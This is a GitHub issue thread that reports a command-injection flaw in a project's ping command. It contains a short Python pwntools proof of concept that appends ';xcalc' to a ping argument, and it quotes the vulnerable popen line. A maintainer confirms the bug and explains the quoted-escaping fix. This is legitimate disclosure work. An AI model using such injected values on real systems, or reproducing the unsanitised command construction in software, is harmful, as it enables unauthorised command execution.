Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Command Injection inside the ping command #3

Closed
CedMaire opened this issue May 13, 2019 · 1 comment
Closed

Command Injection inside the ping command #3

CedMaire opened this issue May 13, 2019 · 1 comment

Comments

@CedMaire
Copy link

Where:

FILE *pipe = popen(("cd " + usrLocation + " && " + string(cmdRedirection) + " 2>&1").c_str(),

They have an "escape" function they use to escape strings that represent a path, but they do not check against any ";" character that one could potentially use to terminate a command and start a new one. Thus, I exploited the ping command by appending another new command (xcalc) that will be executed right after the ping.

Here is a PoC:

#!/usr/bin/env python
from pwn import *

sh = process(['./client', '127.0.0.1', '1337'])

sh.sendline("ping google.ch;xcalc\n")
print sh.interactive()
@KTiago
Copy link
Collaborator

KTiago commented May 15, 2019

You are correct, there is indeed a vulnerability in the ping command and we certifiy that your exploit works. 🥇

However, let me make some clarifications:

While we have an escape function as you noticed, one of our programmers somehow forgot to call it for the ping command.

Morover, this escape function only escapes quotes in a given string, which is an intended behavior. The idea is to put escaped user-supplied arguments bash commands between quotes to prevent the execution of unintended additional commands. As an example, have a look at the cd command which does not suffer from the same vulnerability:

string cmd = "exec bash -c \'mkdir \"" + escape(absPath) + "\"\'";

The above prevents the use of ";" or "&&" or any other tricks to run a command injection.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants